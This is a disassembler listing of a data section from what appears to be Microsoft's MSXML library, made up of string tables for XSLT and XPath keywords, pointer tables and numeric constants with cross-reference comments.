aNot: ; DATA XREF: sub_69B60C8B:loc_69B60CC5o
; .text:69B61D68o
unicode 0, <$not$>,0
aNe: ; DATA XREF: sub_69B60C8B:loc_69B60F0Do
; .text:69B61D60o
unicode 0, <$ne$>,0
align 10h
aLt_0: ; DATA XREF: sub_69B60C8B:loc_69B60F17o
; .text:69B61D58o
unicode 0, <$lt$>,0
align 4
aLe: ; DATA XREF: sub_69B60C8B:loc_69B60F21o
; .text:69B61D50o
unicode 0, <$le$>,0
align 4
aIne: ; DATA XREF: sub_69B60C8B:loc_69B60FCBo
; .text:69B61D48o
unicode 0, <$ine$>,0
aIlt: ; DATA XREF: sub_69B60C8B:loc_69B60FD5o
; .text:69B61D40o
unicode 0, <$ilt$>,0
aIle: ; DATA XREF: sub_69B60C8B:loc_69B60FDFo
; .text:69B61D38o
unicode 0, <$ile$>,0
aIgt: ; DATA XREF: sub_69B60C8B:loc_69B60FF3o
; .text:69B61D30o
unicode 0, <$igt$>,0
aIge: ; DATA XREF: sub_69B60C8B:loc_69B60FE9o
; .text:69B61D28o
unicode 0, <$ige$>,0
aIeq: ; DATA XREF: sub_69B60C8B:loc_69B60FC1o
; .text:69B61D20o
unicode 0, <$ieq$>,0
aGt_0: ; DATA XREF: sub_69B60C8B:loc_69B60F35o
; .text:69B61D18o
unicode 0, <$gt$>,0
align 4
aGe: ; DATA XREF: sub_69B60C8B:loc_69B60F2Bo
; .text:69B61D10o
unicode 0, <$ge$>,0
align 4
aEq: ; DATA XREF: sub_69B60C8B:loc_69B60F03o
; .text:69B61D08o
unicode 0, <$eq$>,0
align 4
aAny: ; DATA XREF: sub_69B60C8B:loc_69B60D33o
; .text:69B61D00o
unicode 0, <$any$>,0
aAnd: ; DATA XREF: sub_69B60C8B:loc_69B60CB1o
; .text:69B61CF8o
unicode 0, <$and$>,0
aAll: ; DATA XREF: sub_69B60C8B:loc_69B60D3Do
; .text:69B61CF0o
unicode 0, <$all$>,0
asc_69B29698: ; DATA XREF: sub_69B60C8B:loc_69B61089o
; .text:69B61CE8o
unicode 0, <$>,0
asc_69B2969C: ; DATA XREF: sub_69B60C8B:loc_69B60EE5o
; .text:69B61CD8o
unicode 0, <!=>,0
align 4
; const WCHAR asc_69B296A4
asc_69B296A4: ; DATA XREF: sub_69B61BB4+56o
; sub_69B771EE:loc_69B7722Ao ...
unicode 0, <-->
dw 3Eh
unicode 0, <>,0
align 10h
dbl_69B296B0 dq -1.0 ; DATA XREF: sub_69B62D8D+42r
; sub_69B633C4+26r ...
aTrue_0: ; DATA XREF: .text:69B296D0o
unicode 0, <true>,0
align 4
off_69B296C4 dd offset off_69B17D10 ; DATA XREF: sub_69B5F498+17Eo
; sub_69B64D89+9o
dd 0
dd 4
dd offset aTrue_0 ; "true"
aFalse_0: ; DATA XREF: .text:69B296ECo
unicode 0, <false>,0
off_69B296E0 dd offset off_69B17D10 ; DATA XREF: sub_69B5F498+45o
; sub_69B64D89+10o
align 8
dd 5
dd offset aFalse_0 ; "false"
dbl_69B296F0 dq -5.0e-1 ; DATA XREF: sub_69B63D7C+AAr
; sub_69B67E70:loc_69B67E96r
dbl_69B296F8 dq 5.0e-1 ; DATA XREF: sub_69B63D7C+88r
; sub_69B66638+6r ...
dbl_69B29700 dq 0.0 ; DATA XREF: sub_69B63D7C+7Br
; sub_69B63D7C+9Dr ...
dbl_69B29708 dq 1.0 ; DATA XREF: sub_69B63D7C+3Ar
; sub_69B6699A+8CAr
off_69B29710 dd offset off_69B29C7C ; DATA XREF: .text:off_69B658BCo
; sub_69B664FFo
dd offset sub_69B6679F
off_69B29718 dd offset off_69B29C7C ; DATA XREF: sub_69B67784o
; .text:off_69B67D58o ...
dd offset sub_69B67CD3
aFrom: ; DATA XREF: .text:69B29738o
unicode 0, <from>,0
align 4
off_69B2972C dd offset off_69B17D10 ; DATA XREF: .data:off_69B9A1D8o
dd 0
dd 4
dd offset aFrom ; "from"
aElement_2: ; DATA XREF: .text:69B29758o
unicode 0, <element>,0
off_69B2974C dd offset off_69B17D10 ; DATA XREF: .data:69B9A1E4o
dd 0
dd 7
dd offset aElement_2 ; "element"
aAttribute_1: ; DATA XREF: .text:69B2977Co
unicode 0, <attribute>,0
off_69B29770 dd offset off_69B17D10 ; DATA XREF: .data:69B9A1F0o
align 8
dd 9
dd offset aAttribute_1 ; "attribute"
aChild_0: ; DATA XREF: .text:69B29798o
unicode 0, <child>,0
off_69B2978C dd offset off_69B17D10 ; DATA XREF: .data:69B9A1FCo
dd 0
dd 5
dd offset aChild_0 ; "child"
aDescendant_0: ; DATA XREF: .text:69B297C0o
unicode 0, <descendant>,0
align 4
off_69B297B4 dd offset off_69B17D10 ; DATA XREF: .data:69B9A208o
dd 0
dd 0Ah
dd offset aDescendant_0 ; "descendant"
aDescendantOr_0: ; DATA XREF: .text:69B297F8o
unicode 0, <descendant-or-self>,0
align 4
off_69B297EC dd offset off_69B17D10 ; DATA XREF: .data:69B9A214o
dd 0
dd 12h
dd offset aDescendantOr_0 ; "descendant-or-self"
aAncestor_0: ; DATA XREF: .text:69B2981Co
unicode 0, <ancestor>,0
align 10h
off_69B29810 dd offset off_69B17D10 ; DATA XREF: .data:69B9A220o
align 8
dd 8
dd offset aAncestor_0 ; "ancestor"
aAncestorOrSe_0: ; DATA XREF: .text:69B29850o
unicode 0, <ancestor-or-self>,0
align 4
off_69B29844 dd offset off_69B17D10 ; DATA XREF: .data:69B9A22Co
dd 0
dd 10h
dd offset aAncestorOrSe_0 ; "ancestor-or-self"
aParent_0: ; DATA XREF: .text:69B29870o
unicode 0, <parent>,0
align 4
off_69B29864 dd offset off_69B17D10 ; DATA XREF: .data:69B9A238o
dd 0
dd 6
dd offset aParent_0 ; "parent"
aSelf_0: ; DATA XREF: .text:69B2988Co
unicode 0, <self>,0
align 10h
off_69B29880 dd offset off_69B17D10 ; DATA XREF: .data:69B9A244o
align 8
dd 4
dd offset aSelf_0 ; "self"
aFilter: ; DATA XREF: .text:69B298ACo
unicode 0, <filter>,0
align 10h
off_69B298A0 dd offset off_69B17D10 ; DATA XREF: .data:69B9A250o
align 8
dd 6
dd offset aFilter ; "filter"
aGroup_0: ; DATA XREF: .text:69B298C8o
unicode 0, <group>,0
off_69B298BC dd offset off_69B17D10 ; DATA XREF: .data:69B9A25Co
dd 0
dd 5
dd offset aGroup_0 ; "group"
aUnion: ; DATA XREF: .text:69B298E4o
unicode 0, <union>,0
off_69B298D8 dd offset off_69B17D10 ; DATA XREF: .data:69B9A268o
align 10h
dd 5
dd offset aUnion ; "union"
aRoot: ; DATA XREF: .text:69B29900o
unicode 0, <root>,0
align 4
off_69B298F4 dd offset off_69B17D10 ; DATA XREF: .data:69B9A274o
dd 0
dd 4
dd offset aRoot ; "root"
aId_2: ; DATA XREF: .text:69B29918o
unicode 0, <id>,0
align 4
off_69B2990C dd offset off_69B17D10 ; DATA XREF: .data:69B9A280o
dd 0
dd 2
dd offset aId_2 ; "id"
aAnd_1: ; DATA XREF: .text:69B29930o
unicode 0, <and>,0
off_69B29924 dd offset off_69B17D10 ; DATA XREF: .data:69B9A28Co
dd 0
dd 3
dd offset aAnd_1 ; "and"
aOr_1: ; DATA XREF: .text:69B29948o
unicode 0, <or>,0
align 4
off_69B2993C dd offset off_69B17D10 ; DATA XREF: .data:69B9A298o
dd 0
dd 2
dd offset aOr_1 ; "or"
aNot_1: ; DATA XREF: .text:69B29960o
unicode 0, <not>,0
off_69B29954 dd offset off_69B17D10 ; DATA XREF: .data:69B9A2A4o
dd 0
dd 3
dd offset aNot_1 ; "not"
aEq_0: ; DATA XREF: .text:69B29978o
unicode 0, <eq>,0
align 4
off_69B2996C dd offset off_69B17D10 ; DATA XREF: .data:69B9A2B0o
dd 0
dd 2
dd offset aEq_0 ; "eq"
aNe_1: ; DATA XREF: .text:69B29990o
unicode 0, <ne>,0
align 4
off_69B29984 dd offset off_69B17D10 ; DATA XREF: .data:69B9A2BCo
dd 0
dd 2
dd offset aNe_1 ; "ne"
aLt_4: ; DATA XREF: .text:69B299A8o
unicode 0, <lt>,0
align 4
off_69B2999C dd offset off_69B17D10 ; DATA XREF: .data:69B9A2C8o
dd 0
dd 2
dd offset aLt_4 ; "lt"
aLe_1: ; DATA XREF: .text:69B299C0o
unicode 0, <le>,0
align 4
off_69B299B4 dd offset off_69B17D10 ; DATA XREF: .data:69B9A2D4o
dd 0
dd 2
dd offset aLe_1 ; "le"
aGt_4: ; DATA XREF: .text:69B299D8o
unicode 0, <gt>,0
align 4
off_69B299CC dd offset off_69B17D10 ; DATA XREF: .data:69B9A2E0o
dd 0
dd 2
dd offset aGt_4 ; "gt"
aGe_1: ; DATA XREF: .text:69B299F0o
unicode 0, <ge>,0
align 4
off_69B299E4 dd offset off_69B17D10 ; DATA XREF: .data:69B9A2ECo
dd 0
dd 2
dd offset aGe_1 ; "ge"
aString_1: ; DATA XREF: .text:69B29A10o
unicode 0, <string>,0
align 4
off_69B29A04 dd offset off_69B17D10 ; DATA XREF: .data:69B9A2F8o
dd 0
dd 6
dd offset aString_1 ; "string"
aNumber_1: ; DATA XREF: .text:69B29A30o
unicode 0, <number>,0
align 4
off_69B29A24 dd offset off_69B17D10 ; DATA XREF: .data:69B9A304o
dd 0
dd 6
dd offset aNumber_1 ; "number"
aDate_0: ; DATA XREF: .text:69B29A4Co
unicode 0, <date>,0
align 10h
off_69B29A40 dd offset off_69B17D10 ; DATA XREF: .data:69B9A310o
align 8
dd 4
dd offset aDate_0 ; "date"
aBool: ; DATA XREF: .text:69B29A68o
unicode 0, <bool>,0
align 4
off_69B29A5C dd offset off_69B17D10 ; DATA XREF: .data:69B9A31Co
dd 0
dd 4
dd offset aBool ; "bool"
aAdd: ; DATA XREF: .text:69B29A80o
unicode 0, <add>,0
off_69B29A74 dd offset off_69B17D10 ; DATA XREF: .data:69B9A328o
dd 0
dd 3
dd offset aAdd ; "add"
aSubtract: ; DATA XREF: .text:69B29AA4o
unicode 0, <subtract>,0
align 4
off_69B29A98 dd offset off_69B17D10 ; DATA XREF: .data:69B9A334o
align 10h
dd 8
dd offset aSubtract ; "subtract"
aNegate: ; DATA XREF: .text:69B29AC4o
unicode 0, <negate>,0
align 4
off_69B29AB8 dd offset off_69B17D10 ; DATA XREF: .data:69B9A340o
align 10h
dd 6
dd offset aNegate ; "negate"
aMod_0: ; DATA XREF: .text:69B29ADCo
unicode 0, <mod>,0
off_69B29AD0 dd offset off_69B17D10 ; DATA XREF: .data:69B9A34Co
align 8
dd 3
dd offset aMod_0 ; "mod"
aDiv_0: ; DATA XREF: .text:69B29AF4o
unicode 0, <div>,0
off_69B29AE8 dd offset off_69B17D10 ; DATA XREF: .data:69B9A358o
align 10h
dd 3
dd offset aDiv_0 ; "div"
aMultiply: ; DATA XREF: .text:69B29B18o
unicode 0, <multiply>,0
align 4
off_69B29B0C dd offset off_69B17D10 ; DATA XREF: .data:69B9A364o
dd 0
dd 8
dd offset aMultiply ; "multiply"
aPrefix_0: ; DATA XREF: .text:69B29B38o
unicode 0, <prefix>,0
align 4
off_69B29B2C dd offset off_69B17D10 ; DATA XREF: .data:69B9A370o
dd 0
dd 6
dd offset aPrefix_0 ; "prefix"
aType_0: ; DATA XREF: .text:69B29B54o
unicode 0, <type>,0
align 4
off_69B29B48 dd offset off_69B17D10 ; DATA XREF: .data:69B9A394o
align 10h
dd 4
dd offset aType_0 ; "type"
aFunction: ; DATA XREF: .text:69B29B78o
unicode 0, <function>,0
align 4
off_69B29B6C dd offset off_69B17D10 ; DATA XREF: .data:69B9A3A0o
dd 0
dd 8
dd offset aFunction ; "function"
aFunctionName: ; DATA XREF: .text:69B29BA4o
unicode 0, <function-name>,0
off_69B29B98 dd offset off_69B17D10 ; DATA XREF: .data:69B9A3ACo
align 10h
dd 0Dh
dd offset aFunctionName ; "function-name"
aVar: ; DATA XREF: .text:69B29BBCo
unicode 0, <var>,0
off_69B29BB0 dd offset off_69B17D10 ; DATA XREF: .data:69B9A3B8o
align 8
dd 3
dd offset aVar ; "var"
aXslVendorUrl: ; DATA XREF: .data:off_69B9A3F4o
unicode 0, <xsl:vendor-url>,0
align 10h
aXslVendor: ; DATA XREF: .data:off_69B9A3F0o
unicode 0, <xsl:vendor>,0
align 4
aMsxslVersion: ; DATA XREF: .data:off_69B9A3ECo
unicode 0, <msxsl:version>,0
aXslVersion: ; DATA XREF: .data:off_69B9A3E8o
unicode 0, <xsl:version>,0
aHttpWww_micros: ; DATA XREF: .data:off_69B9A3E4o
unicode 0, <http://www.microsoft.com>,0
align 10h
aMicrosoft: ; DATA XREF: .data:off_69B9A3E0o
unicode 0, <Microsoft>,0
off_69B29C74 dd offset dword_69B18894 ; DATA XREF: .text:off_69B29C7Co
; .text:off_69B65418o ...
dd offset sub_69B6C893
off_69B29C7C dd offset off_69B29C74 ; DATA XREF: .text:off_69B29710o
; .text:off_69B29718o ...
dd offset sub_69B6D460
aUrnSchemasMi_2: ; DATA XREF: .text:69B29CD0o
unicode 0, <urn:schemas-microsoft-com:xslt>,0
align 4
off_69B29CC4 dd offset off_69B17D10 ; DATA XREF: sub_69B673B0+35o
; sub_69B6DF3C+89o
dd 0
dd 1Eh
dd offset aUrnSchemasMi_2 ; "urn:schemas-microsoft-com:xslt"
aStylesheet_1: ; DATA XREF: .text:69B29CF8o
; .data:69B9A780o
unicode 0, <stylesheet>,0
align 4
off_69B29CEC dd offset off_69B17D10 ; DATA XREF: .data:off_69B9A450o
dd 0
dd 0Ah
dd offset aStylesheet_1 ; "stylesheet"
aTemplate: ; DATA XREF: .text:69B29D1Co
; .data:69B9A788o
unicode 0, <template>,0
align 10h
off_69B29D10 dd offset off_69B17D10 ; DATA XREF: .data:69B9A45Co
align 8
dd 8
dd offset aTemplate ; "template"
aWhen: ; DATA XREF: .text:69B29D38o
; .data:69B9A7B0o
unicode 0, <when>,0
align 4
off_69B29D2C dd offset off_69B17D10 ; DATA XREF: .data:69B9A468o
dd 0
dd 4
dd offset aWhen ; "when"
aOtherwise: ; DATA XREF: .text:69B29D5Co
; .data:69B9A758o
unicode 0, <otherwise>,0
off_69B29D50 dd offset off_69B17D10 ; DATA XREF: .data:69B9A474o
align 8
dd 9
dd offset aOtherwise ; "otherwise"
aForEach: ; DATA XREF: .text:69B29D80o
; .data:69B9A740o
unicode 0, <for-each>,0
align 4
off_69B29D74 dd offset off_69B17D10 ; DATA XREF: .data:69B9A480o
dd 0
dd 8
dd offset aForEach ; "for-each"
aApplyTemplates: ; DATA XREF: .text:69B29DB0o
; .data:off_69B9A708o
unicode 0, <apply-templates>,0
off_69B29DA4 dd offset off_69B17D10 ; DATA XREF: .data:69B9A48Co
dd 0
dd 0Fh
dd offset aApplyTemplates ; "apply-templates"
aChoose: ; DATA XREF: .text:69B29DD0o
; .data:69B9A718o
unicode 0, <choose>,0
align 4
off_69B29DC4 dd offset off_69B17D10 ; DATA XREF: .data:69B9A498o
dd 0
dd 6
dd offset aChoose ; "choose"
aIf: ; DATA XREF: .text:69B29DE8o
; .data:69B9A748o
unicode 0, <if>,0
align 4
off_69B29DDC dd offset off_69B17D10 ; DATA XREF: .data:69B9A4A4o
dd 0
dd 2
dd offset aIf ; "if"
aValueOf: ; DATA XREF: .text:69B29E0Co
; .data:69B9A7A0o
unicode 0, <value-of>,0
align 10h
off_69B29E00 dd offset off_69B17D10 ; DATA XREF: .data:69B9A4B0o
align 8
dd 8
dd offset aValueOf ; "value-of"
aCopy_1: ; DATA XREF: .text:69B29E28o
; .data:69B9A728o
unicode 0, <copy>,0
align 4
off_69B29E1C dd offset off_69B17D10 ; DATA XREF: .data:69B9A4BCo
dd 0
dd 4
dd offset aCopy_1 ; "copy"
aElement_3: ; DATA XREF: .text:69B29E48o
; .data:69B9A738o
unicode 0, <element>,0
off_69B29E3C dd offset off_69B17D10 ; DATA XREF: .data:69B9A4C8o
dd 0
dd 7
dd offset aElement_3 ; "element"
aAttribute_2: ; DATA XREF: .text:69B29E6Co
; .data:69B9A710o
unicode 0, <attribute>,0
off_69B29E60 dd offset off_69B17D10 ; DATA XREF: .data:69B9A4D4o
align 8
dd 9
dd offset aAttribute_2 ; "attribute"
aComment_1: ; DATA XREF: .text:69B29E8Co
; .data:69B9A720o
unicode 0, <comment>,0
off_69B29E80 dd offset off_69B17D10 ; DATA XREF: .data:69B9A4E0o
align 8
dd 7
dd offset aComment_1 ; "comment"
aTransform_0: ; DATA XREF: .text:69B29EB0o
; .data:69B9A798o
unicode 0, <transform>,0
off_69B29EA4 dd offset off_69B17D10 ; DATA XREF: .data:69B9A4ECo
dd 0
dd 9
dd offset aTransform_0 ; "transform"
aProcessingIn_0: ; DATA XREF: .text:69B29EF0o
; .data:69B9A770o
unicode 0, <processing-instruction>,0
align 4
off_69B29EE4 dd offset off_69B17D10 ; DATA XREF: .data:69B9A4F8o
dd 0
dd 16h
dd offset aProcessingIn_0 ; "processing-instruction"
aText_2: ; DATA XREF: .text:69B29F0Co
; .data:69B9A790o
unicode 0, <text>,0
align 10h
off_69B29F00 dd offset off_69B17D10 ; DATA XREF: .data:69B9A504o
; .data:69B9A6F0o
align 8
dd 4
dd offset aText_2 ; "text"
aSort: ; DATA XREF: .text:69B29F28o
; .data:69B9A778o
unicode 0, <sort>,0
align 4
off_69B29F1C dd offset off_69B17D10 ; DATA XREF: .data:69B9A510o
dd 0
dd 4
dd offset aSort ; "sort"
aInclude_0: ; DATA XREF: .text:69B29F48o
; .data:69B9A750o
unicode 0, <include>,0
off_69B29F3C dd offset off_69B17D10 ; DATA XREF: .data:69B9A51Co
dd 0
dd 7
dd offset aInclude_0 ; "include"
aVariable: ; DATA XREF: .text:69B29F6Co
; .data:69B9A7A8o
unicode 0, <variable>,0
align 10h
off_69B29F60 dd offset off_69B17D10 ; DATA XREF: .data:69B9A528o
align 8
dd 8
dd offset aVariable ; "variable"
aParam: ; DATA XREF: .text:69B29F88o
; .data:69B9A768o
unicode 0, <param>,0
off_69B29F7C dd offset off_69B17D10 ; DATA XREF: .data:69B9A534o
dd 0
dd 5
dd offset aParam ; "param"
aWithParam: ; DATA XREF: .text:69B29FB0o
; .data:69B9A7B8o
unicode 0, <with-param>,0
align 4
off_69B29FA4 dd offset off_69B17D10 ; DATA XREF: .data:69B9A540o
dd 0
dd 0Ah
dd offset aWithParam ; "with-param"
aOutput_0: ; DATA XREF: .text:69B29FD0o
; .data:69B9A760o
unicode 0, <output>,0
align 4
off_69B29FC4 dd offset off_69B17D10 ; DATA XREF: .data:69B9A54Co
dd 0
dd 6
dd offset aOutput_0 ; "output"
aCopyOf: ; DATA XREF: .text:69B29FF0o
; .data:69B9A730o
unicode 0, <copy-of>,0
off_69B29FE4 dd offset off_69B17D10 ; DATA XREF: .data:69B9A558o
dd 0
dd 7
dd offset aCopyOf ; "copy-of"
aDefineTemplate: ; DATA XREF: .text:69B2A028o
unicode 0, <define-template-set>,0
off_69B2A01C dd offset off_69B17D10 ; DATA XREF: .data:69B9A564o
dd 0
dd 13h
dd offset aDefineTemplate ; "define-template-set"
aCdata_5: ; DATA XREF: .text:69B2A044o
unicode 0, <cdata>,0
off_69B2A038 dd offset off_69B17D10 ; DATA XREF: .data:69B9A570o
align 10h
dd 5
dd offset aCdata_5 ; "cdata"
aEntityRef: ; DATA XREF: .text:69B2A06Co
unicode 0, <entity-ref>,0
align 10h
off_69B2A060 dd offset off_69B17D10 ; DATA XREF: .data:69B9A57Co
align 8
dd 0Ah
dd offset aEntityRef ; "entity-ref"
aPi_1: ; DATA XREF: .text:69B2A084o
unicode 0, <pi>,0
align 4
off_69B2A078 dd offset off_69B17D10 ; DATA XREF: .data:69B9A588o
align 10h
dd 2
dd offset aPi_1 ; "pi"
aDoctype_3: ; DATA XREF: .text:69B2A0A4o
unicode 0, <doctype>,0
off_69B2A098 dd offset off_69B17D10 ; DATA XREF: .data:69B9A594o
align 10h
dd 7
dd offset aDoctype_3 ; "doctype"
aScript: ; DATA XREF: .text:69B2A0C4o
unicode 0, <script>,0
align 4
off_69B2A0B8 dd offset off_69B17D10 ; DATA XREF: .data:69B9A5A0o
align 10h
dd 6
dd offset aScript ; "script"
aEval: ; DATA XREF: .text:69B2A0E0o
unicode 0, <eval>,0
align 4
off_69B2A0D4 dd offset off_69B17D10 ; DATA XREF: .data:69B9A5ACo
dd 0
dd 4
dd offset aEval ; "eval"
aNodeName: ; DATA XREF: .text:69B2A104o
unicode 0, <node-name>,0
off_69B2A0F8 dd offset off_69B17D10 ; DATA XREF: .data:69B9A5B8o
align 10h
dd 9
dd offset aNodeName ; "node-name"
aSelect: ; DATA XREF: .text:69B2A124o
unicode 0, <select>,0
align 4
off_69B2A118 dd offset off_69B17D10 ; DATA XREF: .data:69B9A5D0o
align 10h
dd 6
dd offset aSelect ; "select"
aMatch: ; DATA XREF: .text:69B2A140o
unicode 0, <match>,0
off_69B2A134 dd offset off_69B17D10 ; DATA XREF: .data:69B9A5DCo
dd 0
dd 5
dd offset aMatch ; "match"
aTest: ; DATA XREF: .text:69B2A15Co
unicode 0, <test>,0
align 10h
off_69B2A150 dd offset off_69B17D10 ; DATA XREF: .data:69B9A5E8o
align 8
dd 4
dd offset aTest ; "test"
aOrderBy: ; DATA XREF: .text:69B2A180o
unicode 0, <order-by>,0
align 4
off_69B2A174 dd offset off_69B17D10 ; DATA XREF: .data:69B9A5F4o
dd 0
dd 8
dd offset aOrderBy ; "order-by"
aName_3: ; DATA XREF: .text:69B2A19Co
unicode 0, <name>,0
align 10h
off_69B2A190 dd offset off_69B17D10 ; DATA XREF: .data:69B9A600o
align 8
dd 4
dd offset aName_3 ; "name"
aNamespace_2: ; DATA XREF: .text:69B2A1C0o
unicode 0, <namespace>,0
off_69B2A1B4 dd offset off_69B17D10 ; DATA XREF: .data:69B9A60Co
dd 0
dd 9
dd offset aNamespace_2 ; "namespace"
aLanguage: ; DATA XREF: .text:69B2A1E4o
unicode 0, <language>,0
align 4
off_69B2A1D8 dd offset off_69B17D10 ; DATA XREF: .data:69B9A618o
align 10h
dd 8
dd offset aLanguage ; "language"
aExpr_0: ; DATA XREF: .text:69B2A200o
unicode 0, <expr>,0
align 4
off_69B2A1F4 dd offset off_69B17D10 ; DATA XREF: .data:69B9A624o
dd 0
dd 4
dd offset aExpr_0 ; "expr"
aFormat: ; DATA XREF: .text:69B2A220o
unicode 0, <format>,0
align 4
off_69B2A214 dd offset off_69B17D10 ; DATA XREF: .data:69B9A630o
dd 0
dd 6
dd offset aFormat ; "format"
aDefault_2: ; DATA XREF: .text:69B2A240o
unicode 0, <default>,0
off_69B2A234 dd offset off_69B17D10 ; DATA XREF: .data:69B9A63Co
dd 0
dd 7
dd offset aDefault_2 ; "default"
aNoEntities: ; DATA XREF: .text:69B2A268o
unicode 0, <no-entities>,0
off_69B2A25C dd offset off_69B17D10 ; DATA XREF: .data:69B9A648o
dd 0
dd 0Bh
dd offset aNoEntities ; "no-entities"
aResultEncoding: ; DATA XREF: .text:69B2A298o
unicode 0, <result-encoding>,0
off_69B2A28C dd offset off_69B17D10 ; DATA XREF: .data:69B9A654o
dd 0
dd 0Fh
dd offset aResultEncoding ; "result-encoding"
aDisableOutputE: ; DATA XREF: .text:69B2A2D8o
unicode 0, <disable-output-escaping>,0
off_69B2A2CC dd offset off_69B17D10 ; DATA XREF: .data:69B9A660o
dd 0
dd 17h
dd offset aDisableOutputE ; "disable-output-escaping"
aOrder_0: ; DATA XREF: .text:69B2A2F4o
unicode 0, <order>,0
off_69B2A2E8 dd offset off_69B17D10 ; DATA XREF: .data:69B9A66Co
align 10h
dd 5
dd offset aOrder_0 ; "order"
aDataType: ; DATA XREF: .text:69B2A318o
unicode 0, <data-type>,0
off_69B2A30C dd offset off_69B17D10 ; DATA XREF: .data:69B9A678o
dd 0
dd 9
dd offset aDataType ; "data-type"
aHref_1: ; DATA XREF: .text:69B2A334o
unicode 0, <href>,0
align 4
off_69B2A328 dd offset off_69B17D10 ; DATA XREF: .data:69B9A684o
align 10h
dd 4
dd offset aHref_1 ; "href"
aPriority: ; DATA XREF: .text:69B2A358o
unicode 0, <priority>,0
align 4
off_69B2A34C dd offset off_69B17D10 ; DATA XREF: .data:69B9A690o
dd 0
dd 8
dd offset aPriority ; "priority"
aMode: ; DATA XREF: .text:69B2A374o
unicode 0, <mode>,0
align 4
off_69B2A368 dd offset off_69B17D10 ; DATA XREF: .data:69B9A69Co
align 10h
dd 4
dd offset aMode ; "mode"
aImplementsPref: ; DATA XREF: .text:69B2A3A8o
unicode 0, <implements-prefix>,0
off_69B2A39C dd offset off_69B17D10 ; DATA XREF: .data:69B9A6A8o
dd 0
dd 11h
dd offset aImplementsPref ; "implements-prefix"
aMethod: ; DATA XREF: .text:69B2A3C8o
unicode 0, <method>,0
align 4
off_69B2A3BC dd offset off_69B17D10 ; DATA XREF: .data:69B9A6B4o
dd 0
dd 6
dd offset aMethod ; "method"
aIndent: ; DATA XREF: .text:69B2A3E8o
unicode 0, <indent>,0
align 4
off_69B2A3DC dd offset off_69B17D10 ; DATA XREF: .data:69B9A6C0o
dd 0
dd 6
dd offset aIndent ; "indent"
aOmitXmlDeclara: ; DATA XREF: .text:69B2A424o
unicode 0, <omit-xml-declaration>,0
align 4
off_69B2A418 dd offset off_69B17D10 ; DATA XREF: .data:69B9A6CCo
align 10h
dd 14h
dd offset aOmitXmlDeclara ; "omit-xml-declaration"
aXml_2: ; DATA XREF: .text:69B2A43Co
unicode 0, <xml>,0
off_69B2A430 dd offset off_69B17D10 ; DATA XREF: .data:69B9A6D8o
align 8
dd 3
dd offset aXml_2 ; "xml"
aHtml_0: ; DATA XREF: .text:69B2A458o
unicode 0, <html>,0
align 4
off_69B2A44C dd offset off_69B17D10 ; DATA XREF: .data:69B9A6E4o
dd 0
dd 4
dd offset aHtml_0 ; "html"
aJscript: ; DATA XREF: .text:69B2A478o
unicode 0, <jscript>,0
off_69B2A46C dd offset off_69B17D10 ; DATA XREF: sub_69B6EDDE+D0o
; sub_69B70DF4+3Ao
dd 0
dd 7
dd offset aJscript ; "jscript"
aUtf16: ; DATA XREF: .text:69B2A498o
unicode 0, <UTF-16>,0
align 4
off_69B2A48C dd offset off_69B17D10 ; DATA XREF: sub_69B760B0+47o
; sub_69B7624E+1Fo ...
dd 0
dd 6
dd offset aUtf16 ; "UTF-16"
aDescending: ; DATA XREF: .data:off_69B9A438o
unicode 0, <descending>,0
align 4
aAscending: ; DATA XREF: .data:off_69B9A434o
unicode 0, <ascending>,0
off_69B2A4C8 dd offset sub_69B706CA ; DATA XREF: sub_69B6F741-571A7o
; sub_69B6EC84+3o
dd offset sub_69B6223C
off_69B2A4D0 dd offset loc_69B71469 ; DATA XREF: sub_69B71436+Co
; sub_69B714DB+1Eo
dd offset loc_69B71485
dd offset loc_69B714A2
dd offset sub_69B714C3
dd offset sub_69B714CB
dd offset loc_69B714D3
off_69B2A4E8 dd offset sub_69B72281 ; DATA XREF: sub_69B72048+Fo
; sub_69B72259+19o
off_69B2A4EC dd offset off_69B2A4F4 ; DATA XREF: sub_69B72310o
; .text:off_69B74E90o
dd offset sub_69B724C7
off_69B2A4F4 dd offset off_69B25E94 ; DATA XREF: .text:off_69B2A4ECo
; .text:off_69B70048o ...
dd offset sub_69B73049
; const WCHAR psz1
psz1: ; DATA XREF: sub_69B73929+49o
; sub_69B74222+1Eo
unicode 0, <Context>,0
off_69B2A50C dd offset sub_69B74E6A ; DATA XREF: sub_69B74DF9+Eo
; sub_69B74E46+15o
off_69B2A510 dd offset sub_69B74E1B ; DATA XREF: sub_69B74DF9+7o
; sub_69B74E46+Eo
dd offset sub_69B5A0FC
dd offset sub_69B5A106
dd offset sub_69B2CF0E
; const WCHAR asc_69B2A520
asc_69B2A520: ; DATA XREF: sub_69B770D8:loc_69B77107o
; sub_69B83E6C+1B4o
dw 3Ch
unicode 0, <!-->,0
align 4
; const WCHAR asc_69B2A52C
asc_69B2A52C: ; DATA XREF: sub_69B771EE:loc_69B77240o
; sub_69B83717+92o
dw 3Ch
unicode 0, </>,0
align 4
dword_69B2A534 dd 165D4E40h, 11D23621h, 1B80h, 0DF6C7AF8h ; sub_69B7759C+56o
off_69B2A544 dd offset sub_69B77979 ; DATA XREF: sub_69B77918+19o
; sub_69B77998+17o
; char MultiByteStr[]
MultiByteStr dd 78655424h, 90900074h ; DATA XREF: sub_69B16A74+34o
; sub_69B78A78+27Fo
off_69B2A550 dd offset sub_69B77BFC ; DATA XREF: sub_69B7885C+11o
; sub_69B78994+1Fo
dd offset sub_69B77D54
dword_69B2A558 dd 7C0FFAB3h, 11D0CD84h, 0A0009A94h, 0ED1011C9h
; DATA XREF: sub_69B5D45C+FDo
; sub_69B77D7D+7o ...
; const WCHAR aContentLength
aContentLength: ; DATA XREF: sub_69B7C259+59o
; sub_69B7C89C+60o
unicode 0, <Content-Length>,0
align 4
; const WCHAR aContentType
aContentType: ; DATA XREF: sub_69B7C89C+ADo
; sub_69B7D890+25o
unicode 0, <Content-Type>,0
align 4
aGet: ; DATA XREF: sub_69B7BC9E+3Eo
; sub_69B7DCED:loc_69B7DD27o
unicode 0, <GET>,0
; const WCHAR asc_69B2A5AC
asc_69B2A5AC: ; DATA XREF: sub_69B7C259+CBo
; sub_69B8A280+2Co
unicode 0, <, >,0
align 4
off_69B2A5B4 dd offset sub_69B7D64A ; DATA XREF: sub_69B7D5F6+19o
; sub_69B7D669+17o
off_69B2A5B8 dd offset sub_69B7796F ; DATA XREF: sub_69B77918+12o
; sub_69B77998+10o ...
dd offset sub_69B5A0FC
dd offset sub_69B5A106
dd offset sub_69B2CF0E
off_69B2A5C8 dd offset loc_69B7DCAD ; DATA XREF: sub_69B7DBC3+34o
; sub_69B7DE94+3Ao
